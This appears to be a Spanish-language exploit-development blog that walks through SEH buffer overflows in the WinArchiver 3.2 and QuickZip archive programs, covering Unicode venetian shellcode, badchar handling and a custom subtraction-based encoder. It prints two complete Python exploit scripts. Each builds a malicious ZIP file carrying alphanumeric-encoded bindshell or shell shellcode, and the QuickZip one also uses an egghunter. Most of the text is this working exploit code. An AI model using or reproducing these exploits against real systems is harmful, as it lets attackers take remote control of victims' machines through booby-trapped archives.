Ahora llega la parte de nuestro "venetian", recordemos, que esta parte tiene la instrucciones necesarias para que el registro EAX apunte exactamente al inicio de nuestra venetian shellcode:
venetian = (
"\x55\x55"
"\x70"
"\x58"
"\x70"
"\x05\x25\x11"
"\x55"
"\x2d\x19\x11"
"\x55"
"\x50"
"\x55"
"\xc7"
)

Vemos que nuestro primer 55 es en realidad 005500 por la transformacion unicode y el siguiente 55 queda solo por lo que queda: 

005500 ADD [EBP],DL **** Aqui estamos usando el 55 como una especie de "nop" para que con la transformacion unicode no sea una instruccion dañina y sobre todo para que una vez utilizados los 00 00 de unicode podamos introducir luego la instruccion que queramos con 1 byte sin transformacion unicode
Y en este caso la siguiente instruccion sin 00 de unicode es un 55 , que corresponde a un PUSH EBP, el cual necesitamos para ir preparando el hecho de que EAX apunte al inicio de nuestra shellcode.

55 PUSH EBP 

Continuamos: 

007000 ADD [EAX],DH **** Aqui como en el caso anterior estamos usando el 70 (podriamos haber seguido usando el 55 justo como el caso anterior) como una especie de "nop" para que con la transformacion unicode no sea una instruccion dañina y sobre todo para que una vez utilizados los 00 00 de unicode podamos introducir luego la instruccion que queramos con 1 byte sin transformacion unicode.

Y en este caso la siguiente instruccion sin 00 de unicode es un 58 , que corresponde a un POP EAX, ya tenemos en EAX un direccion CERCANA al inicio de la shellcode, pero no es la direccion exacta! 

58 POP EAX 


Siguiente: 

0070000 ADD [EAX],DH ****  igual que los "pseudo nop" anteriores

0500250011 ADD EAX,11002500 Operacion de SUMA sobre EAX para que apunte al inicio de nuestra shellcode, seran necesarias una suma y una resta.
Esto lo hacemos jugando con las posibles sumas y restas que podemos hacer utilizando opcodes compatibles con unicode. 

005500 ADD [EBP],DL **** igual que los "pseudo nop" anteriores 

2D00190011 SUB EAX,11001900 Operacion de RESTA sobre EAX para que apunte justo al inicio de nuestra shellcode. 


Ahora hay que tener una serie de datos a tener en cuenta para seguir continuando.
Llegados a este punto nos dimos cuenta que tal y como es este overflow, llegamos a la direccion de memoria máxima permitida para la pila del proceso, y si nos fijamos desde donde estamos, tenemos un tamaño de buffer muy pequeño donde no cabía la shellcode:



Si hubiesemos podido poner la venetian shellcode justo despues de las instrucciones de "venetian" simplemente hubiese sido seguir que ejecutara las instrucciones , pero como no es el caso se complica un poquito la cosa, necesitamos poder saltar a donde apunta EAX (recordemos que EAX = inicio de shellcode) 

Pero solo podemos ejecutar instrucciones de un byte (por la transformacion de unicode) por lo que vamos a tener que encontrar algo que nos pueda servir.

Finalmente optamos por utilizar un PUSH EAX (50) y un RETN (C3) que son instrucciones de 1 byte y nos permite saltar a donde apunta EAX. 
Pero nos encontramos otro problema ! si metemos C3 podemos ver como el C3 es transformado en "1C25" ! Badchars ?? No ! Unicode transformation !

Si nos fijamos en la tabla de Unicode de más abajo podemos ver como el caracter representado por "C3" es transformado a "1C25" , no problemo, si nos volvemos a fijar en la tabla, el "C7" se transforma en "C3" que es el que necesitamos para nuestra instruccion RETN, por lo que introducimos un C7. Tabla completa -> http://www.blackhat.com/presentations/win-usa-04/bh-win-04-fx.pdf  


Por lo que las ultimas instrucciones son: 50 PUSH EAX 005500 ADD [EBP],DL **** igual que los "pseudo nop" anteriores C7 -> transformado en memoria C3 = RETN Y podemos observar justo cuando se va a ejecutar el RETN como EAX apunta al inicio de la venetian Shellcode:



Y si seguimos la ejecución (F9) Veremos como nuestra bindshell esta esperando impacientemente a que conectemos.. bang !!!




Exploit completo:
#/usr/bin/python
# Real pentesting: Josep Pi , Pedro Guillen , Miguel A. de Castro
# Exploit Title: Winarchiver V 3.2 SEH Overflow
# Date: April 24, 2013
# Software Link: http://winarchiver.com
# Affected Versions: 3.2 and previous version may also affected
# There is no patch from vendor
# Tested on: Windows XP SP3
zip_header = (
"\x50\x4B\x03\x04\x0A\x00\x04\x02\x00\x00\xE5\x18\xE9\x3E\xCC\xD4"
"\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00\x00\x08\x00\x00\x00\x54\x65"
"\x73\x74\x2E\x74\x78\x74\x54\x68\x69\x73\x20\x69\x73\x20\x61\x20"
"\x74\x65\x73\x74\x21\x50\x4B\x01\x02\x14\x00\x0A\x00\x40\x00\x00"
"\x00\xE5\x18\xE9\x3E\xCC\xD4\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00"
"\x00\xBE\x20\x00\x00\x00\x00\x00\x00\x01\x00\x3D\xAC\xBD\x04\x00"
"\x00\x00\x00"
)
zip_final=(
"\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\xEC\x20\x00"
"\x00\x35\x00\x00\x00\x00\x00"
)
seh = "\x31\x48" #ppr 0x00480031
nextseh = "\x58\x70"
venetian = (
"\x55\x55"
"\x70"
"\x58"
"\x70"
"\x05\x25\x11"
"\x55"
"\x2d\x19\x11"
"\x55"
"\x50"
"\x55"
"\xc7"
)
shellcode = (
"PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1"
"AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLJHDIM0KPM030SYK5P18RQTDK1BNPDK0RLLTKB2MDDKS"
"BO8LO870JMVNQKOP1I0VLOLQQCLLBNLO091HOLMKQ7WZBL0220W4KQBLPTKOROLKQZ0TKOPRX55WPRTPJKQXP0P"
"TKOXLXDKQHO0M1J39SOLQ9DKNT4KM1Z601KONQGPFLGQXOLMM197NXIP2UZTLC3MJXOKCMND2UZBPXTK1HO4KQJ"
"3QVDKLLPKTKB8MLKQJ3TKM4TKKQZ04IOTMTMTQK1KQQQI1JPQKOK0PX1OQJ4KLRJKSVQM1XNSNRM0KPBHD7T3P2"
"QOR4QXPL2WO6KWKOHUVXDPKQKPKPNIGTQDPPS8MYU0RKM0KOZ5PPPP20PPQ0PPOPPPQXYZLO9OK0KOYEU9Y7NQY"
"K0SQXKRM0LQ1L3YJFQZLPQFR7QX7RIK07QWKOJ5PSPWS86WIYNXKOKOXUR3R3R7QXD4JLOKYQKOJ5B73YHGBH45"
"2NPM31KOXUQXC3RMC4M0CYYS1GQGR701ZV2JLRR90VK2KMQVY7OTMTOLKQM1TMOTMTN0I6KPPD1DPPQF261FQ6B"
"60N26R6PSR6RHRYHLOODFKOIE3YYPPNPVOVKONP38KXTGMM1PKOJ5WKJP6UERB6QX6FTUWMUMKOZ5OLM6SLLJ3P"
"KKK045M5WKQ7N3RRRORJM0QCKOHUA"
)
buffer =  "\x41" * (205+216) + shellcode + "\x41" * (2000-216-len(shellcode)) + nextseh + seh + venetian + "\x42" * (6173-len(venetian))
print len(buffer)
payload = buffer
mefile = open('seh_winarch.zip','w')
mefile.write(zip_header + buffer + zip_final)
mefile.close()

miércoles, 17 de abril de 2013

Desarrollo de exploits: Problemas serios con badchars.


Si alguna vez os habéis puesto con desarrollo de exploits os resultará familiar este tema.
Los badchars son caracteres que hacen que nuestro exploit no funcione adecuadamente debido al funcionamiento de la aplicación.

Por poner un ejemplo, si el binario a explotar utiliza la función strcpy entonces como sabemos el carácter \x00 indica el fin de línea. Por lo que si insertamos nuestra shellcode con un carácter \x00 no la seguirá ejecutando y nos estropeará por completo el exploit. 

"Encodeamos" los payloads y punto. ¿Seguro? Pues esto está bien cuando tenemos los badchars típicos como \x00, \x0d etc. Pero ¿Y cuando tenemos muchos badchars? ¿Y si entre esos badchars tenemos  algunos de caracteres imprimibles?. Pues que metasploit y sus maravillosos encoders dirán algo como esto:



En este caso tenemos otras alternativas como un encoder que hay publicado que encodea en caracteres imprimibles ascii, muy útil en algunos casos. Para encodear una shellcode con este encoder se hace de la siguiente manera:


Como vemos se le pasa el registro base y las opciones que queramos ademas de meterle como input lo que queremos encodear.

¿Qué es el registro base? Bien, este encoder funciona así. Para "desencodear" la shellcode y ejecutarla lo que necesita es tener en este registro base, en este caso eax, la dirección de memoria donde empieza la shellcode. Debemos de realizar las operaciones necesarias dejando en eax finalmente la dirección de memoria donde empiece nuestra shellcode y éste la "desencodeará".
Como hemos dicho antes, esto es un encoder de caracteres con letras y números  Genial. Y si tenemos que alguna de las letras o números también es un badchar? Pues está la cosa un poco complicada.

Debemos de crearnos nuestro propio encoder. Existe una técnica que vamos a explicar a continuación. A grandes rasgos la técnica consiste en mediante operaciones matemáticas llegar a guardar en la pila los opcodes de la shellcode que queramos ejecutar.

Esto se hace de la siguiente manera:
Pongamos el ejemplo de queremos escribir las siguientes instrucciones en la pila y que forman parte de nuestra shellcode/egghunter:
Add eax, 200h
jmp esp

Estos opcodes son : \x81\xc0\x00\x02\x00\x00\xff\xe4
Supongamos que tenemos como badchar el \x81,\xc0.

No podemos meterlos así en el exploit. Entonces lo que haremos será "encodearlos" con una técnica de restas hexadecimales.El motivo de usar restas es por que en este caso el opcode para la instrucción ADD de suma es un badchar y no es posible utilizarlo.

Lo primero que hacemos es separar las instrucciones en grupos de 4 bytes. En este caso:

\x81\xc0\x00\x02
\x00\x00\xff\xe4


Ahora lo que se hace es empezar desde el ultimo valor hacia el primero ya que vamos a pushearlos en la pila:
\x00\x00\xff\xe4:


Lo ponemos para little endian --> \xe4\xff\x00\x00

Despues se realiza la siguiente operación (2º complemento): 0xFFFFFFFF - 0xe4ff0000 +1  =  0x1B010000 

Ahora necesitamos encontrar tres números con los caracteres que no son badchars que entre ellos sumen ese valor. Para calcular estos valores lo que hacemos es dividirlo entre tres:

0x1B010000/3 = 0x90055555

Si ahora sumamos estos valores:

90055555
90055555+
90055555
--------------
1B00FFFF

Ahora lo que hacemos es recalcular:
    1 1111    ***
90055555
90055555+
90055556
-------------
1B0100000

*** Los numeros 1 de arriba son los acarreos. (sumas hexadecimales)

Supongamos que el 90 es un badchar pues volveriamos a recalcular por ejemplo asi:
 
5E555555
5E555555+
5E565556
--------------
1B010000

Hacemos lo mismo con el otro valor y nos queda:

54546A2A
54546A2A+
55566B2B
---------------
FDFF3F7F

Finalmente se coloca todo de la siguiente manera:


encode = (
"\x25\x4a\x4d\x4e\x55"    #AND EAX,554E4D4A
"\x25\x35\x32\x31\x2a"   #AND EAX, 2a313235 .Con estas operaciones ponemos a 0 el registro eax.
"\x2d\x55\x55\x55\x5e"   #operaciones matematicas sobre eax (sub en este caso)
"\x2d\x55\x55\x55\x5e"   #operaciones matematicas sobre eax (sub en este caso)
"\x2d\x56\x55\x56\x5e"    #operaciones matematicas sobre eax (sub en este caso)
"\x50"                                  #guardamos en la pila eax
"\x25\x4a\x4d\x4e\x55"     #ponemos a cero eax
"\x25\x35\x32\x31\x2a"    #ponemos a cero eax
"\x2d\x2a\x6a\x54\x54"     #operaciones matematicas sobre eax (sub en este caso) 
"\x2d\x2a\x6a\x54\x54"     #operaciones matematicas sobre eax (sub en este caso)
"\x2d\x2b\x6b\x56\x55"     #operaciones matematicas sobre eax (sub en este caso)
"\x50"                              guardamos eax en la pila.   
)


Cómo este cálculo es algo engorroso pues el amigo CorelanC0der lo que hizo fue incluirlo en su script pvefindaddr (la versión mas nueva mona.py parece que no incluye esta funcionalidad), el cuál ayuda muchísimo cuando te encuentras con badchars.
!pvefindaddr encode ascii 81c000020000ffe4


La caña verdad? Mejor aún. Si nos encontramos que nos devuelve algún carácter badchar, tan fácil como lo
siguiente:
!pvefindaddr encode ascii 81c000020000ffe4 5e
Donde 5e seria nuestro badchar que no nos vale:


El script de pvefindaddr es algo dificil de encontrar hoy en dia por lo que lo colgamos aqui:
https://www.dropbox.com/s/2o6yfavsf9stec8/pvefindaddr.py

Vamos a ver como toma forma lo explicado anteriormente de manera práctica en un exploit:

Por ponernos en materia. El software vulnerable se trata de QuickZip y la vulnerabilidad consiste en un SEH based overflow. 

Desde el siguiente POC: 

#!/usr/bin/python

local_file_header = (

"\x50\x4B\x03\x04"   #local file header signature (4bytes)
"\x14\x00"           #version needed to extract   (2 bytes)
"\x00\x00"           #general purpose bit flag    (2 bytes)
"\x00\x00"           #compresion method      (2 bytes)
"\xB7\xAC"           #last mod file time     (2 bytes)
"\xCE\x34"           #last mod file date     (2 bytes)
"\x00\x00\x00\x00"   #crc-32        (4 bytes)
"\x00\x00\x00\x00"   #compressed size (4 bytes)
"\x00\x00\x00\xe4"   #uncompressed size (4 bytes)
"\x0f\x00"           #file name lenght    (2 bytes)(variable size)
"\x00\x00"           #extra field length  (2 bytes)(variable size)
)

central_file_header = (
"\x50\x4B\x01\x02"    #central file header signature (4 bytes)
"\x14\x00"            #version made by  (2 bytes)
"\x14\x00"            #version needed to extract (2 bytes)
"\x00\x00"            #general purpose but flag (2 bytes)
"\x00\x00"            #compression method  (2 bytes)
"\xB7\xAC"            #last mod file time  (2 bytes)
"\xCE\x34"            #last mod file date  (2 bytes)
"\x00\x00\x00\x00"    #crc-32      (4 bytes)
"\x00\x00\x00\x00"    #compressed size  (4 bytes)
"\x00\x00\x00\x00"    #uncompressed size (4 bytes)
"\xe4\x0f"            #file name length    (2 bytes)  (variable size)
"\x00\x00"            #extra field length   (2 bytes) (variable size)
"\x00\x00"            #file comment lenght   (2 bytes)(variable size)
"\x00\x00"            #disk number start    (2 bytes)
"\x01\x00"            #internal file atributes  (2 bytes)
"\x24\x00\x00\x00"    #external file atributes (4 bytes)
"\x00\x00\x00\x00"    #relative offset of local header (4 bytes)
)

end_of_central_directory = (
"\x50\x4B\x05\x06"    #end of central dir signature  (4 bytes)
"\x00\x00"            #number of this disk  (2 bytes)
"\x00\x00"            #number of the disk with the start of the central directory (2 bytes)
"\x01\x00"            #total number of entries in the central directory on this disk (2 bytes)
"\x01\x00"            #total number of entries in the central directory (2 bytes)
"\x12\x10\x00\x00"    #size of the central directory  (4 bytes)
"\x02\x10\x00\x00"    #offset of start of central directory with respect to the starting disk (4 bytes) number
"\x00\x00"            #.zip file comment length      (2 bytes) (variable size)
)

buff = "A" * 4064 + ".txt"
 
mefile = open('pwn.zip','w');
mefile.write(local_file_header + buff + central_file_header + buff + end_of_central_directory);
mefile.close()

Abrimos el quickzip con nuestre debugger favorito y observamos como se trata de un seh based overflow, y que si pasamos la excepción con shift+f9 sobrescribiramos EIP:




Lo primero que debemos es calcular el offset en el cual conseguiremos manipular eip a nuestro antijo y como SEH Based overflow que es, debemos buscar un pop pop retn. Podemos hacerlo con mona así

Primero creamos el pattern con¡mona pc 4064:




Posteriormente buscamos un pop pop ret con ¡mona seh:
#pop pop ret quickzip 00407A33.

Una vez que insertamos las instruccion 00407a33 al meter el nullbyte no nos queda espacio para saltar hacia delente, por lo que tenemos que saltar hacia atrás:




Como tenemos muy poco espacio solo cabrá un egghunter por lo que vamos a ver si tenemos por ahí la shellcode en memoria, para ello creamos una shellcode de prueba con un patrón delante (w00tw00t) como viene siendo habitual:



Una vez que conseguimos el crash lo que haremos será comparar con mona en la memoria de la siguiente manera:
¡mona compare –f C:\shellcode.bin
Con este comando buscamos si nuestra shellcode se encuentra sin modificar en la memoria, si esto es así podremos con un egghunter buscarla y saltar hacia ella:



Parece que se encuentra sin problemas. También podemos buscarla con:
¡mona find –ascii w00tw00t



Una vez que tenemos esto lo que haremos será saltar hacia atrás y ejecutar el egghunter.La aplicación solo acepta carácteres alfanúmericos, por lo que tenemos que utilizar algun encoder.
Podemos encodearlo con el encoder alpha de metasploit como se muestra a continuación:


O con la aplicación alpha2:



Como vemos durante la ejecución vemos que va a dar un salto hacia atrás de pocos bytes, y luego desde ahí haremos un salto a nuestro egghunter encodeado, ya que tenemos que insertar las siguientes instrucciones:

#add ebp,0x43E
Esto en ensamblador queda \x81\xc5\x3e\x04\x00\x00\xff\xe5

Ahora vamos a hacer lo mismo pero vamos a usar la técnica del encoder propio con las operaciones matemáticas visto en este exploit


Tras diversas operaciones de alineamiento de esp y otros problemas tendremos un exploit "encodeado" y funcionando para windows sp3

#!/usr/bin/python

local_file_header = (

"\x50\x4B\x03\x04"   #local file header signature (4bytes)
"\x14\x00"           #version needed to extract   (2 bytes)
"\x00\x00"           #general purpose bit flag    (2 bytes)
"\x00\x00"           #compresion method      (2 bytes)
"\xB7\xAC"           #last mod file time     (2 bytes)
"\xCE\x34"           #last mod file date     (2 bytes)
"\x00\x00\x00\x00"   #crc-32        (4 bytes)
"\x00\x00\x00\x00"   #compressed size (4 bytes)
"\x00\x00\x00\xe4"   #uncompressed size (4 bytes)
"\x0f\x00"           #file name lenght    (2 bytes)(variable size)
"\x00\x00"           #extra field length  (2 bytes)(variable size)
)

central_file_header = (
"\x50\x4B\x01\x02"    #central file header signature (4 bytes)
"\x14\x00"            #version made by  (2 bytes)
"\x14\x00"            #version needed to extract (2 bytes)
"\x00\x00"            #general purpose but flag (2 bytes)
"\x00\x00"            #compression method  (2 bytes)
"\xB7\xAC"            #last mod file time  (2 bytes)
"\xCE\x34"            #last mod file date  (2 bytes)
"\x00\x00\x00\x00"    #crc-32      (4 bytes)
"\x00\x00\x00\x00"    #compressed size  (4 bytes)
"\x00\x00\x00\x00"    #uncompressed size (4 bytes)
"\xe4\x0f"            #file name length    (2 bytes)  (variable size)
"\x00\x00"            #extra field length   (2 bytes) (variable size)
"\x00\x00"            #file comment lenght   (2 bytes)(variable size)
"\x00\x00"            #disk number start    (2 bytes)
"\x01\x00"            #internal file atributes  (2 bytes)
"\x24\x00\x00\x00"    #external file atributes (4 bytes)
"\x00\x00\x00\x00"    #relative offset of local header (4 bytes)
)

end_of_central_directory = (
"\x50\x4B\x05\x06"    #end of central dir signature  (4 bytes)
"\x00\x00"            #number of this disk  (2 bytes)
"\x00\x00"            #number of the disk with the start of the central directory (2 bytes)
"\x01\x00"            #total number of entries in the central directory on this disk (2 bytes)
"\x01\x00"            #total number of entries in the central directory (2 bytes)
"\x12\x10\x00\x00"    #size of the central directory  (4 bytes)
"\x02\x10\x00\x00"    #offset of start of central directory with respect to the starting disk (4 bytes) number
"\x00\x00"            #.zip file comment length      (2 bytes) (variable size)
)

#msfencode -e x86/alpha_upper -i shell -t perl [*] x86/alpha_upper succeeded with size 696 (iteration=1)
shellcode = (
"w00tw00t"
"\x89\xe3\xd9\xee\xd9\x73\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x43"
"\x43\x43\x43\x43\x43\x52\x59\x56\x54\x58\x33\x30\x56\x58"
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42"
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30"
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x5a\x48"
"\x4b\x39\x45\x50\x45\x50\x45\x50\x35\x30\x4b\x39\x5a\x45"
"\x36\x51\x38\x52\x43\x54\x4c\x4b\x50\x52\x50\x30\x4c\x4b"
"\x31\x42\x44\x4c\x4c\x4b\x56\x32\x35\x44\x4c\x4b\x44\x32"
"\x46\x48\x34\x4f\x58\x37\x50\x4a\x47\x56\x36\x51\x4b\x4f"
"\x50\x31\x39\x50\x4e\x4c\x47\x4c\x43\x51\x53\x4c\x33\x32"
"\x56\x4c\x57\x50\x49\x51\x58\x4f\x44\x4d\x43\x31\x39\x57"
"\x4b\x52\x4c\x30\x36\x32\x36\x37\x4c\x4b\x31\x42\x44\x50"
"\x4c\x4b\x31\x52\x57\x4c\x45\x51\x48\x50\x4c\x4b\x57\x30"
"\x43\x48\x4b\x35\x59\x50\x54\x34\x30\x4a\x45\x51\x48\x50"
"\x36\x30\x4c\x4b\x47\x38\x32\x38\x4c\x4b\x56\x38\x47\x50"
"\x35\x51\x4e\x33\x5a\x43\x37\x4c\x57\x39\x4c\x4b\x36\x54"
"\x4c\x4b\x55\x51\x58\x56\x56\x51\x4b\x4f\x56\x51\x39\x50"
"\x4e\x4c\x4f\x31\x48\x4f\x44\x4d\x55\x51\x38\x47\x37\x48"
"\x4b\x50\x54\x35\x4a\x54\x45\x53\x43\x4d\x4c\x38\x37\x4b"
"\x33\x4d\x56\x44\x42\x55\x4d\x32\x36\x38\x4c\x4b\x31\x48"
"\x31\x34\x33\x31\x48\x53\x55\x36\x4c\x4b\x34\x4c\x30\x4b"
"\x4c\x4b\x56\x38\x35\x4c\x33\x31\x39\x43\x4c\x4b\x34\x44"
"\x4c\x4b\x43\x31\x38\x50\x4d\x59\x37\x34\x56\x44\x37\x54"
"\x31\x4b\x51\x4b\x53\x51\x50\x59\x50\x5a\x50\x51\x4b\x4f"
"\x4d\x30\x30\x58\x31\x4f\x50\x5a\x4c\x4b\x44\x52\x5a\x4b"
"\x4b\x36\x31\x4d\x55\x38\x50\x33\x36\x52\x55\x50\x45\x50"
"\x35\x38\x43\x47\x32\x53\x46\x52\x31\x4f\x31\x44\x32\x48"
"\x50\x4c\x33\x47\x31\x36\x43\x37\x4b\x4f\x39\x45\x48\x38"
"\x4c\x50\x43\x31\x53\x30\x55\x50\x51\x39\x59\x54\x36\x34"
"\x50\x50\x45\x38\x46\x49\x4b\x30\x42\x4b\x55\x50\x4b\x4f"
"\x58\x55\x56\x30\x46\x30\x56\x30\x50\x50\x31\x50\x50\x50"
"\x51\x50\x56\x30\x35\x38\x4a\x4a\x44\x4f\x49\x4f\x4d\x30"
"\x4b\x4f\x49\x45\x4c\x49\x38\x47\x53\x58\x39\x50\x39\x38"
"\x33\x31\x46\x5a\x55\x38\x33\x32\x45\x50\x53\x31\x4f\x4b"
"\x4c\x49\x5a\x46\x32\x4a\x32\x30\x46\x36\x36\x37\x52\x48"
"\x4c\x59\x59\x35\x44\x34\x55\x31\x4b\x4f\x38\x55\x53\x58"
"\x35\x33\x42\x4d\x53\x54\x43\x30\x4d\x59\x4b\x53\x30\x57"
"\x46\x37\x50\x57\x50\x31\x4c\x36\x42\x4a\x44\x52\x31\x49"
"\x46\x36\x4a\x42\x4b\x4d\x42\x46\x48\x47\x57\x34\x31\x34"
"\x47\x4c\x55\x51\x43\x31\x4c\x4d\x57\x34\x31\x34\x54\x50"
"\x58\x46\x43\x30\x47\x34\x31\x44\x50\x50\x30\x56\x51\x46"
"\x50\x56\x51\x56\x46\x36\x30\x4e\x31\x46\x46\x36\x51\x43"
"\x31\x46\x52\x48\x43\x49\x38\x4c\x37\x4f\x4b\x36\x4b\x4f"
"\x39\x45\x4d\x59\x4b\x50\x50\x4e\x31\x46\x30\x46\x4b\x4f"
"\x46\x50\x32\x48\x55\x58\x4b\x37\x45\x4d\x55\x30\x4b\x4f"
"\x58\x55\x4f\x4b\x4a\x50\x48\x35\x39\x32\x36\x36\x33\x58"
"\x39\x36\x4d\x45\x4f\x4d\x4d\x4d\x4b\x4f\x4e\x35\x37\x4c"
"\x44\x46\x33\x4c\x54\x4a\x4b\x30\x4b\x4b\x4d\x30\x43\x45"
"\x45\x55\x4f\x4b\x30\x47\x42\x33\x44\x32\x42\x4f\x43\x5a"
"\x33\x30\x50\x53\x4b\x4f\x38\x55\x41\x41"
)

print "La longitud de la shellcode es: %i" %len(shellcode)

# muy importante si el nombre del fichero no son 4064 bytes exactamente no rula :P
# offset 298 (seh) 4064-302

#pop pop ret 00407A33 file not found didn't work
#hacemos un salto para atras con los bytes que tenemos y condicionales
#FFFFFC18

#egghunter usando alpha skynet base address ebp
egghunter = (
"UYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2"
"BB0BBXP8ACJJI3VMQYZKODOPBV2SZC2V88MFNGL35PZRTJ"
"O88T76PVPBTLKKJNOCEKZNOBUZGKOKWA"
)

print "La longitud del egghunter es: %i" %len(egghunter)

#inicio del egghunter 0012FAD6
#observamos que entre EBP y el egghunter hay 1086 bytes que son 43E bytes por lo que:
#add ebp,0x43E, jmp ebp (de esta manera tendremos en eax la direccion de memoria de nuestro egghunter)
#Full opcode : \x81\xc5\x3e\x04\x00\x00\xff\xe5


jumpencod = (
"\x58\x58\x58\x58\x50\x5c"   # popeax*4 , push eax, pop esp
"\x25\x4A\x4D\x4E\x55"
"\x25\x35\x32\x31\x2A"
"\x2D\x55\x55\x55\x5E"
"\x2D\x55\x55\x55\x5E"
"\x2D\x56\x55\x56\x5D"
"\x50"
"\x25\x4A\x4D\x4E\x55"
"\x25\x35\x32\x31\x2A"
"\x2D\x2A\x68\x40\x53"
"\x2D\x2A\x69\x40\x54"
"\x2D\x2B\x69\x40\x54"
"\x50"
)

#El salto hacia atras es de 86 bytes para ejecutar nuestro codigo encodeado

print "La longitud del salto encodeado es: %i" %len(jumpencod)

buff = egghunter + "A" * 84 + jumpencod + "A" * 28 + "\x74\xf9\xff\xff" + "\x33\x7a\x40\x00" + shellcode + "C" * 3058 + ".txt"
 
mefile = open('pwn.zip','w');
mefile.write(local_file_header + buff + central_file_header + buff + end_of_central_directory);
mefile.close()

print "Escribiendo shellcode"
mefile = open('C:\shellcode.bin','w');
mefile.write(shellcode)
mefile.close()